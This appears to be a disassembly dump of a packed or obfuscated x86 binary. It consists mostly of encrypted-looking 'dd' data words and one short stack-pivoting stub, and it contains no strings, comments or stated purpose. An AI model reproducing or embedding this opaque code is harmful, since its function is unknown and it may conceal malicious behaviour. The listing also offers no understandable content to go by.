dd 9079386Ah, 1E20C15Ch, 0E7A8744Ah, 0A1ADB82Dh, 0C46E0F13h
dd 1952546Eh, 0D89E2B1Eh, 3874AE5Bh, 0F653D045h, 0ABF95064h
dd 57FAD33Bh, 6E81Dh, 57820000h, 1420895h, 8EB6ECBAh, 0C7815F52h
dd 6BA7h, 0B863DE80h, 0
dd 7348BF9h, 0C681EB8Ah, 0E0314DFh, 66FE8B60h, 6807CF81h
dd 42F68161h, 661F0734h, 81AADCBAh, 0C1813EF6h, 0BE85Eh
dd 4FC30000h, 2EDD21C1h, 76262263h, 3880FD3h, 80000000h
dd 895956CEh, 0E8F90734h, 0Ah, 0A8750B8Dh, 76821620h, 81660117h
dd 5BCB79F3h, 8102E883h, 25D16CD2h, 0B1484826h, 0F881ACh
dd 0FFFFF95h, 1285h, 0DA8B6600h, 18E9h, 24E06C00h, 0A7EFC728h
dd 8B14127Bh, 0FF77E9D9h, 857FFFFFh, 10B2252Ah, 58D8D7Ah
dd 0F07E626h, 8D89C3BFh, 7E01815h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 5FC35545h, 5CF6ABC6h, 958BBBDDh
dd 7E01AEDh, 204985C7h, 662007E0h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 8E5AEC3h
dd 816675B2h, 8A6F8DCFh, 0C585C7F5h, 7E022h, 89000000h
dd 0E0193585h, 199D2907h, 0FF07E011h, 0E02A5DB5h, 0C0816607h
dd 95FF2E66h, 7E02091h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 0B6C35646h, 0DE9h, 0C8927E00h, 637D83D3h
dd 0A93B9CFBh, 6AD46Ch, 18A995FFh, 0C08B07E0h, 68362AEBh
dd 0D6DD99F0h, 183391D3h, 5F6FE686h, 706EF0E7h, 372EA93Dh
dd 7DB6035Dh, 9A4179F8h, 0CBAA622Eh, 0DE8CC636h, 0B718EAC0h
dd 8CE9h, 6922D800h, 0F5CC4729h, 0D138F3BAh, 0ABAFD666h
dd 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh
dd 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h
dd 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h
dd 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h, 0B6005EF3h
dd 899DBBEFh, 899500BDh, 0BBEFB69Fh, 0B6D00097h, 7155C3B1h
dd 0A4370052h, 10D3C20Dh, 0E09h, 3 dup(0)
dd 1145E900h, 8A680000h, 0E907E628h, 0FFFA5A07h, 0E629BC68h
dd 59FDE907h, 0BD68FFFAh, 0E907E62Ah, 0FFFA59F3h, 0E62C4068h
dd 59E9E907h, 0CD68FFFAh, 0E907E62Ch, 0FFFA59DFh, 0E62D6768h
dd 59D5E907h, 3668FFFAh, 0E907E62Eh, 0FFFA59CBh, 0E62ED968h
dd 59C1E907h, 0D768FFFAh, 0E907E62Fh, 0FFFA59B7h, 0E6307568h
dd 59ADE907h, 5568FFFAh, 0E907E631h, 0FFFA59A3h, 0E632CE68h
dd 5999E907h, 6268FFFAh, 0E907E635h, 0FFFA598Fh, 0E6368C68h
dd 5985E907h, 9981FFFAh, 0CF3C5DFh, 83683A54h, 0F6DFB1CBh
dd 7052243Eh, 9E479CB6h, 0F30DC7A9h, 69833D21h, 0E2FCB497h
dd 56702A10h, 49688B76h, 3521D47Ah, 452B29C3h, 0A288868Bh
dd 283F48Fh, 92C2D0Dh, 29BA8CA8h, 25D07BCEh, 0F231DF0Bh
dd 9346B8DBh, 7DD02E5Ah, 8E7C3178h, 60C121DAh, 0F471AD03h
dd 3E9A53D4h, 0E4000000h, 99974FD1h, 0F7E4B52Fh, 0C9F50CB7h
dd 0FD9C4592h, 7666CC9h, 5A5E0EE4h, 1015682Eh, 38F0D3ADh
dd 5DBEEF32h, 1E7F21DAh, 0A93F6BC1h, 0E85853D4h, 65000000h
dd 0B2F2339h, 0D3D9066Eh, 84452BB1h, 0E8DFE49Eh, 583A383Dh
dd 29060145h, 0A04BFD48h, 0FDB79D9Bh, 0D154BAE6h, 0FAD0A706h
dd 0C3A9A7F4h, 8CB8EF09h, 0AEC75EB9h, 0A8EBF110h, 29B9DD30h
dd 0CF876C46h, 28E9CFC9h, 8D848941h, 10F6C8E2h, 0E2F1C8FDh
dd 37E908DEh, 0A0979C54h, 8898F0F5h, 517194ABh, 0C72E5A38h
dd 0E22E5A74h, 9DA25C3Eh, 0B8E4FBA6h, 946AF5DCh, 9AF9FF32h
dd 77DED877h, 0F40B5E26h, 677E381Ah, 0E7ECA48Dh, 0B688EAF0h
dd 11411AD4h, 0AEE6112Eh, 0EBA97C5h, 0CDB50000h, 4027F913h
dd 0B79C6E88h, 2A13E5FFh, 0A4865872h, 527BD0EAh, 2741FBDDh
dd 9DB77155h, 1630E8CBh, 8AA45E44h, 159CBFAAh, 6121D479h
dd 0ECC655EFh, 0AA624708h, 0FD03FAFFh, 7D602103h, 1EC9C0C5h
dd 8B4C3204h, 0F1E8EDA7h, 0D1322C46h, 0B6D9F04Fh, 2E5AA03Ch
dd 0CC6A882h, 785E1007h, 0BCC2B9BEh, 0FE454A9Dh, 21DA9FAFh
dd 7AD02D8Eh, 53D4EB4Ch, 0F967h, 9AC6B100h, 0AB33C909h
dd 0ECE6ECF7h, 0A9634506h, 7BFA6A4h, 49ACB15Ch, 97656F1Dh
dd 171D9E8Ah, 7C813B1Dh, 1E00DA19h, 3C486964h, 0DB2E29BAh
dd 848A4229h, 0BA409741h, 7A341A29h, 0EEA88E60h, 0B08F91E9h
dd 9B805A99h, 924A31E3h, 4D90968Dh, 2E5A2075h, 0F5AF91EBh
dd 0D1F4334Ah, 21DA5FE0h, 73A0EA96h, 0B9564E8Ah, 7AA6080Eh
dd 43829996h, 3C5F8569h, 21DA8675h, 0FD03AE01h, 77FDA4BAh
dd 0C8DF3226h, 3B520CEEh, 0FDD8D9FCh, 3B5E29B7h, 29B7FD76h
dd 83D6AD00h, 0B8E41B7Dh, 0D5B04EDh, 9A767A2Dh, 8166B471h
dd 3F211B21h, 37E29C7Eh, 1184445Eh, 0BEECD5E6h, 0D88h
dd 2B45FFE7h, 0A0BA7259h, 1731E9CEh, 8AA45C45h, 21CD6B8h
dd 2D0F04ADh, 0A3875973h, 1AFDCFE9h, 90764862h, 0F1DCBCD6h
dd 0D477E3CEh, 8F299B21h, 758F492Bh, 0E903BDA3h, 38F2D8B2h
dd 452B1032h, 0A288868Bh, 13F7D1E8h, 575D5459h, 863E23F5h
dd 0F4AC956Fh, 9BA15942h, 2E11EB4Eh, 90767076h, 5985BCD6h
dd 0DE01A36Ah, 29B9CBD3h, 905458ABh, 8F010784h, 1092BED1h
dd 3AE02ACAh, 48698CA3h, 2E29BA28h, 9F81D5DBh, 0CAAF89A0h
dd 64160D12h, 60BFC57Dh, 5A2D293Dh, 1C055F2Eh, 12BD775Dh
dd 90765067h, 0ECD3D0D6h, 0D65011C2h, 0F9B19A74h, 0B2719FF3h
dd 78395C9Bh, 0FE395051h, 2346A5ABh, 3DF0656Fh, 0CAE70AC9h
dd 0B4323045h, 59B1B661h, 356178B7h, 0A9F49C5Ah, 8BEAF004h
dd 0CEE96D68h, 5F76C936h, 0CEE59F85h, 17456C8Fh, 0DE313951h
dd 0BEA476D8h, 36172B04h, 0C3ACD678h, 0C8795h, 4600E800h
dd 0BB735A2Ch, 32EACFA1h, 0A55D4618h, 1DD7B98Bh, 1005AE03h
dd 885A742Eh, 0FED0EAA4h, 7749631Bh, 0DDBDD791h, 76E2CFF2h
dd 2A9C21D4h, 0BC9AC690h, 8C1BCEF6h, 0ABD2DF02h, 59AC29B9h
dd 0C8AEA8AEh, 381DF70Eh, 0CA2D7A80h, 4E540EF0h, 8AAD16FAh
dd 29B9AC27h, 3A51FC4Fh, 35C73B0Eh, 1F25AA62h, 1F4281C0h
dd 29BA5E92h, 509399ECh, 2E5A422Eh, 8FBBD528h, 688BA281h
dd 267A2706h, 0D1181D70h, 29BA58DCh, 1A1FD9BFh, 797E381Ch
dd 317CD106h, 0D63C021h, 5434A2D1h, 52FAh, 4FD14400h, 1FB6D9F0h
dd 972E5AEFh, 0F5A0583Dh, 641E04DEh, 4225FF5Eh, 0E1E59F83h
dd 0AECB7E93h, 546E1919h, 0F6BBDE1Dh, 0A521DA39h, 0DC2F06BEh
dd 898F472Ah, 0DA3A6946h, 3D503621h, 0DAC309D9h, 22261D22h
dd 0A44F4DD4h, 1DD5B88Ah, 0B96EA18h, 0D1800000h, 4C04E94Fh
dd 0A09F1235h, 84D729BAh, 7C9FC2D9h, 0D22E5C87h, 0A88E687Fh
dd 1C02D4EEh, 7ADED3F6h, 459821D4h, 5832959Ah, 67B7BC76h
dd 22709336h, 0C4CA751Ch, 6C83A070h, 5BA5012Dh, 35CC1E85h
dd 0D4849F12h, 0D984D721h, 6AFA90D3h, 21742676h, 244A300Ah
dd 0BA66B001h, 0C873C629h, 0A38963C2h, 17FDCFE9h, 1000585Dh
dd 672D84A7h, 0E60929BAh, 29BA66CBh, 368960B3h, 2151748Bh
dd 572E5A4Ah, 0B25D17FDh, 0EECACBD9h, 4D7B64EDh, 0B04h
dd 0AFC9836Bh, 243EF6DDh, 9BB56D52h, 0E28E0C9h, 86A05A3Ch
dd 0B1938831h, 270BDDF7h, 9E81536Dh, 14FACCE6h, 7560405Ah
dd 0D4755F52h, 0BA51721h, 0BAA0CBE2h, 8DAA7629h, 0FEB89C76h
dd 0FC7699F8h, 422E5C86h, 0C1C77F68h, 5E384FA2h, 0C3BABF77h
dd 9E845EBDh, 7B5C5578h, 0CF2221D4h, 61E10D24h, 0D0886BCCh
dd 810E16CCh, 6147197Bh, 0C64AA2A7h, 39135269h, 5E99B55h
dd 7C02454Bh, 0FA267410h, 1C6CEA7h, 7A63E615h, 0A774Ch
dd 5610F800h, 0CB836A3Ch, 42FADFB1h, 0B56D5628h, 2DE7C99Bh
dd 2015BE13h, 986A843Eh, 0EE0FAB4h, 8759732Bh, 0EDCDE7A1h
dd 74D2DF02h, 3AAC21D4h, 8B452BA0h, 60492386h, 0C2A8A2A8h
dd 5D8E0308h, 0E67CAA00h, 13975434h, 0E1000005h, 0D9F04FD1h
dd 5C86A8B6h, 0C4DB2E2Eh, 304A04EAh, 0B9BE785Eh, 0D47B3B72h
dd 99BCFB21h, 21D47B18h, 0B1050B5Eh, 0DFB9D06Fh, 483F44FCh
dd 78A4E342h, 0CAAEE852h, 10140B10h, 5C62B5FFh, 73876519h
dd 0C7A0F326h, 0E6158455h, 0DD4F7D66h, 92000009h, 4D6F0AAh
dd 794B651Dh, 0F0C2DC94h, 63354F07h, 58ADC781h, 1ED8BA6Fh
dd 944E3204h, 0DC5A87Ah, 813B21F3h, 799C8767h, 21D47438h
dd 2B32CC3Eh, 23868B45h, 0A4AA6249h, 0F30AC4AAh, 767B3519h
dd 0B72C797Fh, 6C10709Ch, 0BDB7D12Eh, 6D731ED6h, 19459BF8h
dd 5754346Fh, 2BDD977Dh, 848A42h, 45Eh, 193BE10Dh, 77EDE463h
dd 0BA0F5D54h, 1BC61929h, 0C5CB8569h, 0A0CBE2A3h, 0AA7629BAh
dd 0E153768Dh, 972E5C87h, 6D532D44h, 0E1C799B3h, 0AED11027h
dd 21D47B03h, 0CB5BB14Eh, 8259356Eh, 96EA2B2Fh, 0FA99EF54h
dd 0C14FA7F4h, 56284B62h, 0E0267432h, 2CB3FE21h, 78CB29B4h
dd 2025DDC6h, 39A57E29h, 4EE6151Fh, 90E3765h, 79610000h
dd 0ECD3A5BFh, 63481A34h, 0D6BF91ABh, 5032041Eh, 0BE277C96h
dd 0D3EDA789h, 49631D01h, 0C2DC9477h, 36500AF0h, 69486B56h
dd 1521D473h, 0ECC609A3h, 173A5109h, 29BAA09Ah, 918B91E4h
dd 89ECF1ABh, 0F14CCAFh, 32181218h, 29D48C71h, 0BA94AF24h
dd 22191ED8h, 0F44AA71Ch, 5434E6B6h, 391E1h, 0D1E22B00h
dd 7429BAA0h, 55788FACh, 2E5C87C8h, 0E5243B8Eh, 686D270Bh
dd 8B716B71h, 0FFE5B7D1h, 38E84045h, 0B9C1E4FBh, 0CF267487h
dd 77C4ED10h, 67BA29B4h, 0D47DE3BCh, 0AD96E614h, 86B7Fh
dd 621C0400h, 0D78F7648h, 4E06EBBDh, 0C1796234h, 39F3D5A7h
dd 2CE1CA1Fh, 0A476904Ah, 1AEC06C0h, 93657F37h, 0F9D9F3ADh
dd 72C6EB0Eh, 3EB021D4h, 2A9AC6A4h, 0B88854F0h, 7D7B2AB6h
dd 81253679h, 2E33EDCFh, 51373137h, 0AE949297h, 3E87EFF4h
dd 6F5832E1h, 0D462B2B7h, 0CCAA76A1h, 524C52FDh, 0BA98B26Ch
dd 5434A98Ch, 530BF2CCh, 0B36B504Eh, 77E0208h, 0C8000000h
dd 2D5FBh, 9AC69100h, 0CCDFA5CDh, 6D446774h, 929B9DCh
dd 0C2050BB6h, 29B9DBF1h, 586FCC54h, 5BC1EF35h, 0D3F6352Eh
dd 21D3BDDEh, 0B2E4598h, 21D3BDA6h, 58777DD0h, 0BE3B7699h
dd 771621D3h, 37989128h, 26D124FBh, 954F350Fh, 9C3A97Bh
dd 0F2D9B3F2h, 433E353Ah, 21D3A76Eh, 0D1FD5C08h, 1B0E8C93h
dd 0C51D6A70h, 99C5DC5Bh, 8A1D1B0Dh, 98F7FD63h, 74980575h
dd 4F287B26h, 0E614C4EFh, 6DF5230Ch, 2000007h, 7446601Ah
dd 0E9BBD58Dh, 60324C04h, 0D3A5BF77h, 0C81D37F1h, 8E482A1Fh
dd 4BEA274h, 7D3518EAh, 0F1AB9163h, 0E90CF7D7h, 21D471C8h
dd 2BA23CAEh, 9A748B45h, 0FDF4F9B1h, 0C6ACAAF7h, 569F070Ch
dd 0FC9AFF9h, 0EAEB17F5h, 10045434h, 4E000000h, 1FDFBh
dd 36285400h, 72D0701Eh, 0E21F4147h, 29BAA0D2h, 778EAD73h
dd 5C87D754h, 253C8F2Eh, 8D00BDF9h, 0F7FD5A8Ah, 1ED8BE98h
dd 924C3204h, 6B502A8Dh, 0B759ADB3h, 3C3E6178h, 52267411h
dd 3DDC26FFh, 4EDE615h, 6CFD6h, 0FEB8A000h, 732B12E4h
dd 0EAA28759h, 5D15FED0h, 0D58F7143h, 0C87D66BBh, 40122CE6h
dd 0B688A25Ch, 2F011BD3h, 95758F49h, 712A87AAh, 0E25421D4h
dd 0E19AC648h, 0BD775DA9h, 0FAB84B9h, 6F290F09h, 97DB076Ah
dd 1C94C783h, 452B252Bh, 0EB1E868Bh, 0CD2889ACh, 0FB4E29B9h
dd 0D92380F5h, 411F39F3h, 54343E05h, 182Eh, 300F3B00h
dd 99183B3Fh, 0E529B9AEh, 0EC038E92h, 0FB6E9096h, 136h
dd 0A0D2E291h, 0AD7329BAh, 5E38778Eh, 68B8BD75h, 97FB674Dh
dd 6F7520BDh, 5C03E72Ch, 0E5FC4F2Eh, 516B250Bh, 18C9EE1Ah
dd 60492EE3h, 77CDD393h, 0A7AD58D5h, 80DC7ADh, 6E4366A5h
dd 821D3FBh, 0B55BAFB5h, 9F855F76h, 934D33E5h, 6F0B2E8Dh
dd 89267407h, 55195D36h, 452EE615h, 5EF17h, 0DE988000h
dd 530BF2C4h, 0CA826739h, 3DF5DEB0h, 0B56F5123h, 0A89D469Bh
dd 20F20CC6h, 9668823Ch, 0FE1FBB3h, 75556F29h, 704A678Ah
dd 0C23421D4h, 32452B28h, 0B1951FABh, 62671297h, 0BFC47E64h
dd 0A6E52457h, 0BA472E83h, 0FAF54829h, 29BA46B7h, 0F1666CBFh
dd 280BE59Ch, 20DABE70h, 241E241Bh, 8C6A843Eh, 5434B05Eh
dd 28E2C49Eh, 3AC3EE11h, 68BB29BAh, 7DE62h, 0FB280000h
dd 56h, 8B452B91h, 8FA28886h, 6734493Ah, 981E2239h, 0C473B2F9h
dd 3767B26h, 6A240AE4h, 161BD3B8h, 4FA4191Fh, 465D17FDh
dd 0CEC5BC1Ah, 0C6DD46EAh, 0BA070EA3h, 0F156829h, 0B69C76ADh
dd 51560EF5h, 18FDAF5Ah, 5E645B60h, 2734h, 0CAB38D00h
dd 0C1796012h, 452B99BBh, 0E423868Bh, 0BAA0F0C1h, 0CC4AB29h
dd 99DCE235h, 29BAA115h, 1963C031h, 655F7933h, 748B452Bh
dd 0F5FAB49Ah, 53ABF8FEh, 0C88067CDh, 0A21CCC3h, 0A109A8CBh
dd 227529BAh, 819ABD1Ch, 0F92E5C87h, 0CFB58FA6h, 94D2FE15h
dd 0E38E96F8h, 0E0A70D11h, 5D0C6ACFh, 3D23F557h, 16406C83h
dd 33EE4053h, 700ADB1h, 361D733Ah, 858BE330h, 1E6C8FA6h
dd 182675B3h, 0EED4AEC5h, 0E6914B2Dh, 5314FACCh, 70CB771h
dd 0ABC261AFh, 5991EA88h, 0FF68142Eh, 126EA91Ah, 0D7956E19h
dd 70EDEF94h, 4765987h, 11F90000h, 846B3D57h, 0FBE0B2CCh
dd 6E572943h, 0E8CA9CB6h, 16BF142Eh, 6B853F21h, 0E1FBB599h
dd 5A742C0Fh, 0CEE8A288h, 0D1E003EEh, 0AD21D46Eh, 452BA13Bh
dd 0E2E79F84h, 9E5639EBh, 2107D9F3h, 25FF6267h, 8280853Fh
dd 0E6DDE29Ch, 553B353Bh, 0B771552Fh, 0F1C0BBB2h, 8D29BAA0h
dd 228A8F3Ah, 4C3284D9h, 67417892h, 219B6F80h, 86A81193h
dd 93CFD5DBh, 0E1543423h, 61672107h, 53DDh, 4FD12700h
dd 1FB6D9F0h, 972E5AEFh, 0C2EE2D44h, 0DEF21048h, 634E49EDh
dd 4021DA73h, 7BCEA55Dh, 73704164h, 0B30621DAh, 91744EADh
dd 0BA4BFD9h, 9021DA73h, 0FFD9F0AAh, 655C611Bh, 482BFD5Fh
dd 0B89F7990h, 545913F9h, 0B6ADB25Dh, 0A53563B0h, 0CB000003h
dd 0D9F04FD1h, 5AA47CB6h, 6756022Eh, 8BFF2172h, 634E7188h
dd 1B21D9A7h, 1A181DC8h, 2757A34h, 44CC70CDh, 85ADD0E7h
dd 0FB2679AAh, 0FB00B8A1h, 133F5904h, 129FC20Dh, 9129B9A2h
dd 0F4EBF0A8h, 58C6CA1Dh, 732D124Dh, 1CF60DB8h, 16757B33h
dd 59E23FF3h, 577A392Eh, 21D9DA5Ah, 448D7824h, 6C3F2BBBh
dd 131116C1h, 0CF877031h, 2328D3CAh, 0FFA3002Dh, 0D8FB1211h
dd 2679F25Ah, 591AB8E4h, 0D8FCC134h, 4960B3D2h, 0CFD48C6Fh
dd 1D68496Ch, 0BB0E29BAh, 71A80A10h, 0F6FBB597h, 19FFF9FFh
dd 765C5A5Fh, 0AA76A2BCh, 0AB53768Dh, 0AD2E5A23h, 9F0E555Ah
dd 9E21DA1Eh, 0DD977953h, 66DBE1D8h, 6477B309h, 5AA053D4h
dd 0EA000000h, 0D9F04FD1h, 22DCC09Ah, 0DD20261Dh, 2E5AA015h
dd 0AE6F512Bh, 130A0FC7h, 666C6368h, 0A8EFF447h, 21DAA005h
dd 0F1F6B096h, 644B0AF3h, 0FEFC01ACh, 635A5F17h, 67AA073Ch
dd 4DE00C57h, 0E24CFBEBh, 9A29E062h, 984325C0h, 444A04E6h
dd 0EE1C72CFh, 953D45Ch, 100h, 8B452B53h, 0ECA68886h, 224584E7h
dd 29BAA08Fh, 6242F8BAh, 0B188CE7Dh, 785E585Eh, 6E19D3B7h
dd 0CB856B69h, 0EF4296B1h, 0F7DD29B9h, 93985236h, 4F62859Ch
dd 2729B9EFh, 3D0F29D4h, 35989D57h, 0B8BE765Bh, 5826BC64h
dd 0E5D292ACh, 0B044FEECh, 29D4C2CDh, 0A88D677Eh, 688BEAF0h
dd 2E5A54BEh, 9B163978h, 0E321DA93h, 186B8A90h, 0F14ED2FEh
dd 103FB7DAh, 9F792678h, 0DDFC02BAh, 0B799738Ah, 6DACE3FDh
dd 0B7F0674Ah, 0D3B50F29h, 6E686E19h, 41F9D28Ch, 0DEE6115Dh
dd 1E2C7F5h, 0A58D0000h, 18FFD1EBh, 8F744660h, 2EBBDD7h
dd 7C5E304Ah, 6A53A8C2h, 0FF19D3B5h, 758F492Dh, 0EE08C0A3h
dd 627C361Ch, 3D749782h, 3921D46Ch, 492B2DC7h, 0B99E788Fh
dd 0FF05FC01h, 0CB3A669Dh, 0CD7475D3h, 0C1A7A1A7h, 8EB1F007h
dd 29BA9423h, 38799C5Bh, 3E29BA94h, 0EE3C40EBh, 0FAB2407Ch
dd 0A39DFF05h, 500AECC6h, 0FA4E544Bh, 0DF021916h, 2E5AA013h
dd 0B66E532Dh, 0F583DB2h, 4E54D7C3h, 0F522832Fh, 0F4A3651Ch
dd 0B0FD4449h, 8D21DA72h, 4D79D72Ch, 8B53D4C4h, 0D58D724Ch
dd 0D3DED9D0h, 0AB21DA66h, 0BACE5258h, 18000000h, 748B452Bh
dd 0A09F1235h, 84D729BAh, 0F4CE317Eh, 5C535812h, 547A5C56h
dd 0BAA08031h, 975BC929h, 0D0FED7E3h, 0F6FBA6F9h, 0BA2229AFh
dd 1DDEC429h, 857C813Bh, 8EEC0DAh, 5A4650F5h, 33DEDFDBh
dd 0ED4AD62Eh, 2C73B3D6h, 0A2F52E5Ah, 77B45C88h, 0E59D8660h
dd 0FA5D80DFh, 502677A2h, 0D5436E91h, 0E83B29B7h, 6A4C263Dh
dd 0F627757h, 6B162581h, 0E39D7F51h, 11A8680Ah, 0E210F9E6h
dd 0B8h, 0FB15CFB7h, 708A4229h, 0E701B99Eh, 5A742C15h
dd 0D2ECA688h, 0FDDF547Dh, 73572943h, 0EACD9FB9h, 60461832h
dd 0C1AC8CA6h, 0D46B139Eh, 5FF96B21h, 758F492Bh, 0E903BDA3h
dd 8B452BEFh, 0E8A28886h, 426F92D1h, 3C29BAA1h, 9C5437E9h
dd 18083496h, 0A5E1041Bh, 632E5C86h, 0FDE2A389h, 9E494045h
dd 0DF0A299h, 53595055h, 0DEDCE134h, 52243EF8h, 886C466Ch
dd 0D7D2C9CEh, 21D47ADAh, 0AA644AA4h, 5803AEA5h, 3216F053h
dd 3CFA7478h, 490F7EC4h, 69D10043h, 0A8DDFF4Fh, 611B014Bh
dd 0D58F7547h, 31E9D2D0h, 0B409362Ch, 0A8C27C62h, 3136F0D6h
dd 303h, 66249900h, 8489432Bh, 0E1E6A086h, 434800E3h, 0A2A76145h
dd 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h, 7E833B22h
dd 0BA7686Dh, 2C890000h, 0E2895224h, 4C281h, 0EA830000h
dd 24148704h, 2414895Ch, 65CF68h, 240C8900h, 3E3DBE56h
dd 0E681556Ch, 33B5652Dh, 0E5F6814Eh, 8164907Eh, 0C91CB2F6h
dd 0DDC6817Ch, 814C2433h, 5C34F0F6h, 5EF28912h, 8104EAC1h
dd 99F3BCF2h, 0C8B5403h, 4C48124h, 81000000h, 4ECh, 24148900h
dd 74240481h, 8F42E35Eh, 69810841h, 0E35E7408h, 240C8B42h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_554887
; ---------------------------------------------------------------------------
dd 0C619ED44h, 18572F3Dh, 0D9260F9Ah, 0B87538DCh, 7E63769h
dd 0E0FFC503h, 5125BF6h, 2462B4EFh, 4526FA5Ch, 1D8309C4h
dd 283EAFAAh, 313FEA1Dh, 747A8FFFh, 17F9147h, 568300AEh
dd 192E9h, 943D7E00h, 0D52C2714h, 0B198D31Ah, 0CAD1D746h
dd 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh
dd 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h
dd 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh
dd 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h
dd 0E56CA191h, 10000ACh, 43h dup(0)
dd 84970000h, 0F033A26Dh, 0EE69h, 4 dup(0)
dd 0E9000000h, 1085h, 0E63BD868h, 0E6DE907h, 0DF68FFFBh
dd 0E907E63Ch, 0FFFB0E63h, 0E63E7C68h, 0E59E907h, 6668FFFBh
dd 0E907E63Fh, 0FFFB0E4Fh, 0E640CB68h, 0E45E907h, 9268FFFBh
dd 0E907E641h, 0FFFB0E3Bh, 0E6423468h, 0E31E907h, 0B768FFFBh
dd 0E907E642h, 0FFFB0E27h, 0E643A768h, 0E1DE907h, 3168FFFBh
dd 0E907E644h, 0FFFB0E13h, 0E6452668h, 0E09E907h, 0F268FFFBh
dd 0E907E645h, 0FFFB0DFFh, 0E6467F68h, 0DF5E907h, 0B668FFFBh
dd 0E907E647h, 0FFFB0DEBh, 0E648F268h, 0DE1E907h, 1F9FFFFBh
dd 0A328A47Bh, 35B63209h, 0BA40BC93h, 48CF4B22h, 11D2DBB2h
dd 4920B63Dh, 0D5AC4ACDh, 6037D759h, 0EDC460E4h, 452BF148h
dd 5963289Dh, 0AD314BD4h, 16640486h, 7521E015h, 30452F4h
dd 38BC4806h, 9829C59Ch, 8FC88E4Dh, 0C4632269h, 39F89418h
dd 22698D73h, 3B38A163h, 6FFA48B1h, 0C2A08A81h, 7838BE5Bh
dd 125C59F3h, 6322A128h, 9BCA9993h, 0C4372CBEh, 47DCh
dd 0B011E300h, 3B0125AAh, 5B426355h, 7DCB0069h, 9A88477Ch
dd 0F118D6DEh, 0C4AA7004h, 0D85B42FAh, 0E3D3A6Fh, 22FD2348h
dd 86D43D63h, 0C6A40DFBh, 0DB7BA80Ch, 0C6AA94DEh, 1B156322h
dd 753C1948h, 0EB5AC437h, 61000000h, 0C311AD31h, 0CC1AB037h
dd 0D096BC40h, 5B4262EAh, 0A9B3D006h, 2D7CE8FBh, 0E975C3F8h
dd 77F2C965h, 28E39089h, 1815C46Eh, 428FB6CEh, 0CA82C5Bh
dd 0F6DCA24Dh, 0A5B428Eh, 0E15DA4A1h, 0C773C15Dh, 73DC60FAh
dd 8D0B6C9Bh, 73C1F6D5h, 0B87E3D72h, 63235CC3h, 0BEEB6C18h
dd 1C6A9F39h, 25730990h, 0AD2FEF24h, 1D86100Dh, 7EDB35Eh
dd 2363235Ch, 0BF0DAD2Fh, 458C89BEh, 0ECD18A9h, 618C048h
dd 702F986Bh, 0E7ABD7C5h, 387A6026h, 2D965B45h, 3E8E352Bh
dd 0F48A1141h, 841AA11Dh, 0A0CFD87Ah, 7715EF72h, 0DFCh
dd 0EE58909h, 9C730D92h, 26FD9F20h, 0B58C24AAh, 451CB239h
dd 20A7A73Ch, 0B437B38Ah, 41C33F16h, 0CA4ECAA1h, 5BB2572Eh
dd 289EAF95h, 0BD46CB63h, 3D14AA31h, 8A8CD4C2h, 0FCEB771Ah
dd 0AF4BCFFFh, 44325BD8h, 0CE55BD93h, 0F13D3638h, 0CCF54542h
dd 6F945A19h, 16322BCh, 0D1BF4A98h, 0E11EC78Eh, 0AFF9F65Fh
dd 6322AFC5h, 0CC1AB83Bh, 1092BF40h, 5CED3B70h, 3F0A0F56h
dd 0A4F7E45h, 90C4375Bh, 0E0h, 1863297h, 98D1967h, 0B3B386Dh
dd 119DEB87h, 0A6F48Ah, 5B4267E8h, 0C39A36BAh, 515AC347h
dd 0D848893Ah, 7E2A78ADh, 0A298D543h, 857FEED0h, 0D6CB9150h
dd 0AA632382h, 1EF6A41h, 0D197B8D4h, 632286EBh, 109496FFh
dd 16666354h, 0CF7B3AABh, 6162B04Ah, 0DE8A3564h, 7AC4C157h
dd 6B061BE1h, 8733F25Bh, 18936A00h, 0A8C1A76Dh, 74DD5B44h
dd 9FC04777h, 414B801Ah, 72A09B2Bh, 0F5A84620h, 1000000Ch
dd 9915EC90h, 27A37A14h, 0B12D04A6h, 40BC932Bh, 434C23B9h
dd 9127AEA0h, 1DBB3EBAh, 0A848CA46h, 35D155D1h, 9C62B95Eh
dd 63289FB6h, 32BC45CAh, 891B3D44h, 0C9C6D5C1h, 56AF1299h
dd 0E43792ADh, 5BF97C3Ch, 37BB6726h, 0A5F38910h, 20216FA4h
dd 0DC60DC23h, 42EE6940h, 0F1221FC1h, 0C311AD31h, 6E068C38h
dd 96BD4171h, 3F25EB13h, 5B5B4263h, 6E6FBDF2h, 0FBC66239h
dd 2C652BEAh, 4863227Ah, 1EB91DFh, 6C632279h, 0E8942372h
dd 0EE7AC864h, 8182D068h, 0D9FE4F4Ch, 3FC43700h, 46h, 35B01146h
dd 682FB076h, 0D0396322h, 67F2DC82h, 0CA5D6322h, 0B1FF991Eh
dd 561DB3B0h, 37173227h, 2068C4h, 116F0000h, 0B07635B0h
dd 63227D2Bh, 0E88EDC45h, 63227CFEh, 75246F69h, 0C4370C60h
dd 7B6h, 0E41FBD00h, 9A000008h, 7635B011h, 729D1FCBh, 10250F0h
dd 807D7ECCh, 289D0236h, 0D695FE63h, 330AA62Ah, 0D89733B7h
dd 932E53EAh, 0BEBB283Ah, 0AB6D5400h, 82BD03F9h, 23E2177Bh
dd 0EBCB85Dh, 0FD832F6Bh, 57161765h, 427CAB91h, 5956BF5Bh
dd 0FBA766CFh, 7FC00E77h, 0FA0D7F6Ah, 43134E34h, 0C4F9625Bh
dd 5F25D08Fh, 5B431379h, 0E82F2C95h, 16FCC26Dh, 2A5B4313h
